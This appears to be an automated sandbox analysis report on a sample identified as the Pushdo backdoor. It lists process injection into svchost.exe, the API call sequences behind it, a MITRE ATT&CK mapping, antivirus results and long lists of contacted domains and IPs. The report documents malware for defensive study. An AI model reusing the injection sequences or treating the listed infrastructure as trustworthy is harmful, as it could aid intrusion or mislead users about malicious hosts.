Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 603888.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 133.242.15.119 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: ascc.org.au
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: canmore.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: pertex.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.130.164.242 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: shenhgts.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 35.231.13.148 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp.mail.yahoo.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rappich.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: insia.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: agitz.com.br
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: biurohera.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wantapc.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sokuwan.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: duiops.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 52.200.51.73 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: orbitgas.com
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.1.81.28 25
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: polprime.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nrsi.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mondopp.net
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 54.39.198.18 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: roewer.de
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 198.54.117.242 80
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: diamir.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: jabian.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.udesign.biz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: nme.co.jp
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.otena.com

Writes to foreign memory regions

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EFA0000	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 24C0008	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2D68008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 31EE008	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 313A008	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7EFA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7E6B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 13140000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 4000000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_040020B0 GetEnvironmentVariableA,lstrcatA,lstrcatA,lstrcatA,VirtualAlloc,CreateProcessA,VirtualFree,VirtualAllocEx,VirtualAllocEx,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,VirtualFree,GetThreadContext,TerminateProcess,CloseHandle,CloseHandle,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,SetThreadContext,ResumeThread,TerminateProcess,CloseHandle,CloseHandle,

0_2_040020B0

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_04002510 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,	0_2_04002510
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Code function: 0_2_02523CD7 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,	0_2_02523CD7
Source: C:\Users\user\pigalicapi.exe	Code function: 1_2_04002510 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,	1_2_04002510

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\fs7AQcREFX.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_0010A397 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0010A397

Source: C:\Users\user\Desktop\fs7AQcREFX.exe

Code function: 0_2_000F4890 _memset,GetVersionExA,

0_2_000F4890

Stealing of Sensitive Information

Yara detected Backdoor Pushdo

Source: Yara match	File source: 1.2.pigalicapi.exe.f523c7.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.252053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.25223c7.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.25223c7.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.9423c7.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.984088.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.9423c7.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.f5053f.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.94053f.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.f5053f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.94053f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.4000000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.2b54088.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.f523c7.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.4000000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.2554088.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.984088.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.2554088.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.fs7AQcREFX.exe.252053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.pigalicapi.exe.4000000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.pigalicapi.exe.2b54088.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.719025818.0000000002B54000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.714243220.0000000000940000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.720083201.0000000002554000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.714052838.0000000000F50000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.714796966.0000000000984000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	511 Process Injection	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	4 Native API	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	511 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	25 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	15 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
fs7AQcREFX.exe	24%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\pigalicapi.exe	24%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.ora-ito.com/~-	0%	Avira URL Cloud	safe
http://www.owsports.ca//F	0%	Avira URL Cloud	safe
http://www.stnic.co.uk/g17	0%	Avira URL Cloud	safe
http://www.dgmna.com/z	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/themes/hello-elementor/style.min.css?ver=2.7.1	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/ooohboi-steroids-for-elementor/assets/css/main.css?ver=2.1.50	0%	Avira URL Cloud	safe
http://www.abdg.com/$	0%	Avira URL Cloud	safe
https://www.pcgrate.com/#webpage	0%	Avira URL Cloud	safe
https://inhouse.pohlfood.com/	0%	Avira URL Cloud	safe
https://pohlfood.com/#website	0%	Avira URL Cloud	safe
http://a-domani.com/	0%	Avira URL Cloud	safe
http://skypearl.com/	0%	Avira URL Cloud	safe
https://www.medius.si/	0%	Avira URL Cloud	safe
http://fdlymca.org/	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	0%	Avira URL Cloud	safe
https://www.alantron.com/turkce/destek/search.to	0%	Avira URL Cloud	safe
http://www.elpro.si/	0%	Avira URL Cloud	safe
http://www.hummer.hu/oK	0%	Avira URL Cloud	safe
http://www.credo.edu.pl/	100%	Avira URL Cloud	malware
http://www.valselit.com/174-appartement-a-vendre-grenoble-30514	0%	Avira URL Cloud	safe
https://www.pwd.org/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	0%	Avira URL Cloud	safe
http://sigtoa.com/	0%	Avira URL Cloud	safe
http://likangds.com/	0%	Avira URL Cloud	safe
http://univi.it/	0%	Avira URL Cloud	safe
http://www.item-pr.com/q8	0%	Avira URL Cloud	safe
https://pohlfood.com/comments/feed/	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/real3d-flipbook/js/flipbook.pdfservice.min.js?ver=3.25	0%	Avira URL Cloud	safe
https://www.aevga.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcb-restoration/	0%	Avira URL Cloud	safe
http://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.evcpa.com/nJ	0%	Avira URL Cloud	safe
http://www.iamdirt.com/6-b	0%	Avira URL Cloud	safe
http://www.abdg.com/	0%	Avira URL Cloud	safe
http://www.pwd.org/d	0%	Avira URL Cloud	safe
http://www.nunomira.com/ll	0%	Avira URL Cloud	safe
http://hes.pt/	0%	Avira URL Cloud	safe
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/stencil/	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/uploads/elementor/css/post-158.css?ver=1685382767	0%	Avira URL Cloud	safe
http://www.11tochi.net/iW	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	0%	Avira URL Cloud	safe
https://www.olras.com/5;	0%	Avira URL Cloud	safe
http://www.pwd.org/r	0%	Avira URL Cloud	safe
http://gholographic.com/	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/wc-product-table-pro/assets/css.min.css?ver=2.1.0	0%	Avira URL Cloud	safe
http://calvinly.com/	0%	Avira URL Cloud	safe
http://www.olras.com/J	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	0%	Avira URL Cloud	safe
http://www.alteor.cl/osoft	0%	Avira URL Cloud	safe
https://www.ora-ito.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.crcsi.org/a	0%	Avira URL Cloud	safe
https://tickets.suresupport.com/faq/article-1596/en	0%	Avira URL Cloud	safe
http://myropcb.com/login/	0%	Avira URL Cloud	safe
http://www.winhui.cn/template/default/img/fixedimg4.png	0%	Avira URL Cloud	safe
http://www.mobilnic.net/Z	0%	Avira URL Cloud	safe
http://www.pb-games.com/Q	0%	Avira URL Cloud	safe
https://pohlfood.com/wp-content/uploads/iStock-1031193710b.jpg	0%	Avira URL Cloud	safe
http://www.credo.edu.pl/&	100%	Avira URL Cloud	malware
https://pohlfood.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fpohlfood.com%2F	0%	Avira URL Cloud	safe
http://www.petsfan.com/q&m	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-content/plugins/elementor/assets/lib/font-awesome/js/v4-shims.min.js?ver=3.13	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	0%	Avira URL Cloud	safe
https://www.alantron.com/turkce/web-hosting/garanti.to	0%	Avira URL Cloud	safe
http://www.ora-ito.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/terms-of-service/	0%	Avira URL Cloud	safe
http://www.pcgrate.com	0%	Avira URL Cloud	safe
http://www.mobilnic.net/c	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	0%	Avira URL Cloud	safe
http://www.pb-games.com/e	0%	Avira URL Cloud	safe
http://www.pb-games.com/s	0%	Avira URL Cloud	safe
http://umcor.am/	0%	Avira URL Cloud	safe
https://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.vexcom.com/m	0%	Avira URL Cloud	safe
http://pohlfood.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2	0%	Avira URL Cloud	safe
http://www.jenco.co.uk/x	0%	Avira URL Cloud	safe
http://arowines.com/	0%	Avira URL Cloud	safe
http://shanks.co.uk/	0%	Avira URL Cloud	safe
http://www.vexcom.com/B	0%	Avira URL Cloud	safe
https://dataform.co.uk/wp-signup.php?new=magicomm.co.uk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
holp-ai.com	59.106.13.169	true	true	unknown
webways.com	188.114.97.7	true	true	unknown
impexnc.com	204.11.56.48	true	true	unknown
www.fcwcvt.org	188.114.96.7	true	true	unknown
dayvo.com	188.114.96.7	true	true	unknown
hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	3.130.204.160	true	false	high
enguita.net	195.5.116.23	true	true	unknown
dataform.co.uk	83.223.113.46	true	true	unknown
shteeble.com	185.106.129.180	true	false	unknown
evcpa.com	192.124.249.10	true	false	unknown
kallman.net	185.76.64.25	true	true	unknown
shittas.com	43.246.117.171	true	true	unknown
bible.org	104.20.55.214	true	false	high
gphpedit.org	127.0.0.1	true	true	unknown
missnue.com	104.21.234.121	true	false	unknown
jsaps.com	49.212.235.59	true	false	unknown
avse.hu	185.129.138.60	true	true	unknown
pohlfood.com	104.218.10.254	true	false	unknown
notis.ru	185.178.208.141	true	true	unknown
canasil.com	104.26.2.14	true	true	unknown
www.jenco.co.uk	104.21.23.9	true	true	unknown
www.tyrns.com	62.75.216.137	true	false	unknown
willsub.com	69.89.107.122	true	false	high
nts-web.net	49.212.235.175	true	true	unknown
shesfit.com	188.114.97.7	true	true	unknown
ldh.la.gov	75.2.95.235	true	false	high
www.vexcom.com	104.21.55.224	true	true	unknown
cpmteam.com	188.114.97.7	true	false	high
tcpoa.com	159.89.244.183	true	true	unknown
kevyt.net	172.67.129.18	true	true	unknown
www.mobilnic.net	154.203.14.100	true	false	unknown
s5w.com	192.99.226.184	true	true	unknown
www.sclover3.com	157.112.182.239	true	false	unknown
in1.smtp.messagingengine.com	103.168.172.217	true	true	unknown
paraski.org	94.130.164.242	true	true	unknown
dog-jog.net	153.122.24.177	true	true	unknown
kamptal.at	128.204.134.138	true	true	unknown
bd-style.com	103.112.69.92	true	true	unknown
ora.ecnet.jp	60.43.154.138	true	false	high
adventist.ro	49.12.155.123	true	false	unknown
www.edimart.hu	81.2.194.241	true	false	unknown
zupraha.cz	77.78.104.3	true	true	unknown
isom.org	192.124.249.14	true	true	unknown
any-s.net	108.170.12.50	true	true	unknown
muhr-soehne.de	5.189.171.125	true	true	unknown
www.railbook.net	103.224.212.221	true	true	unknown
hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	54.161.222.85	true	false	high
oaith.ca	192.124.249.12	true	true	unknown
shztm.ru	62.122.170.171	true	true	unknown
www.abdg.com	192.252.154.18	true	true	unknown
www.spanesi.com	5.196.166.214	true	false	unknown
aiolos-sa.gr	188.114.97.7	true	true	unknown
usadig.com	198.100.146.220	true	true	unknown
metaforacom.com	185.42.105.162	true	true	unknown
dhh.la.gov	52.200.51.73	true	false	high
gmail-smtp-in.l.google.com	142.250.153.27	true	false	high
fdlymca.org	192.124.249.9	true	true	unknown
assideum.com	52.219.100.91	true	true	unknown
smtp1.sbc.mail.am0.yahoodns.net	66.163.170.48	true	false	unknown
bidroll.com	13.56.33.8	true	true	unknown
cbras.com	54.39.198.18	true	true	unknown
atbauk.org	104.21.92.170	true	true	unknown
www.vazir.se	206.191.152.37	true	false	unknown
www.naoi-a.com	202.254.236.40	true	false	unknown
d2r2uj0bnofxxz.cloudfront.net	99.84.88.20	true	false	high
www.valselit.com	193.70.68.254	true	true	unknown
vvsteknik.dk	185.31.76.90	true	false	unknown
biosolve.com	151.101.130.159	true	true	unknown
karmy.com.pl	185.253.212.22	true	true	unknown
www.fe-bauer.de	3.65.101.129	true	false	unknown
smtp.mail.global.gm0.yahoodns.net	87.248.97.36	true	true	unknown
vdoherty.com	91.216.241.100	true	false	unknown
hbfuels.com	85.233.160.146	true	true	unknown
pb-games.com	173.254.28.29	true	false	unknown
mackusick.de	217.160.0.131	true	true	unknown
ncn.de	46.30.60.158	true	true	unknown
nekono.net	202.172.28.187	true	true	unknown
fnw.us	137.118.26.67	true	false	unknown
komie.com	59.106.13.181	true	true	unknown
ftmobile.com	199.34.228.78	true	true	unknown
www.x0c.com	185.53.177.50	true	false	unknown
onzcda.com	35.186.238.101	true	false	unknown
sledsport.ru	185.22.232.175	true	true	unknown
www.findbc.com	13.248.169.48	true	true	unknown
tbvlugus.nl	174.129.25.170	true	false	high
pellys.co.uk	77.72.4.226	true	true	unknown
cubodown.com	104.21.30.14	true	true	unknown
infotech.pl	79.96.32.254	true	false	unknown
semuk.com	86.105.245.69	true	false	unknown
tozzhin.com	202.94.166.30	true	true	unknown
tabbles.net	80.211.41.39	true	false	unknown
cqdgroup.com	221.132.33.88	true	true	unknown
fortknox.bm	216.177.137.32	true	true	unknown
camamat.com	104.21.235.31	true	true	unknown
ikulani.com	157.7.107.88	true	true	unknown
lyto.net	188.114.97.7	true	true	unknown
cjborden.com	15.197.142.173	true	true	unknown
alexpope.biz	76.74.184.61	true	true	unknown
fundeo.com	104.24.161.27	true	true	unknown
waldi.pl	46.242.238.60	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://skypearl.com/	true	Avira URL Cloud: safe	unknown
http://a-domani.com/	true	Avira URL Cloud: safe	unknown
http://fdlymca.org/	true	Avira URL Cloud: safe	unknown
http://univi.it/	true	Avira URL Cloud: safe	unknown
http://likangds.com/	true	Avira URL Cloud: safe	unknown
http://www.elpro.si/	false	Avira URL Cloud: safe	unknown
http://www.credo.edu.pl/	false	Avira URL Cloud: malware	unknown
http://sigtoa.com/	true	Avira URL Cloud: safe	unknown
http://dhh.la.gov/	false		high
http://www.naoi-a.com/	false	Avira URL Cloud: safe	unknown
http://www.abdg.com/	false	Avira URL Cloud: safe	unknown
http://hes.pt/	true	Avira URL Cloud: safe	unknown
https://ldh.la.gov/	false		high
http://calvinly.com/	false	Avira URL Cloud: safe	unknown
http://www.ora-ito.com/	false	Avira URL Cloud: safe	unknown
http://umcor.am/	true	Avira URL Cloud: safe	unknown
http://shanks.co.uk/	true	Avira URL Cloud: safe	unknown
http://arowines.com/	true	Avira URL Cloud: safe	unknown
https://dataform.co.uk/wp-signup.php?new=magicomm.co.uk	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.ora-ito.com/~-	fs7AQcREFX.exe, 00000000.00000003.504000964.00000000061B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/usa/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.443924517.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.557525966.0000000004220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612322591.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495486174.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.owsports.ca//F	fs7AQcREFX.exe, 00000000.00000003.393651051.0000000006187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
